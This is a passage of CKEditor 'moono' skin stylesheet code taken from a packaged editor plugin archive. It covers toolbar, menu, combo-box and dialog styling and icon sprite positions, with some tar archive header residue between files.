0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}                                                                                                                                                                                                                                                                                                                                                                                                          editors/acyeditor/acyeditor/ckeditor/skins/moono/dialog_ie.css                                      0000705                 00000040715 15242051521 0020675 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 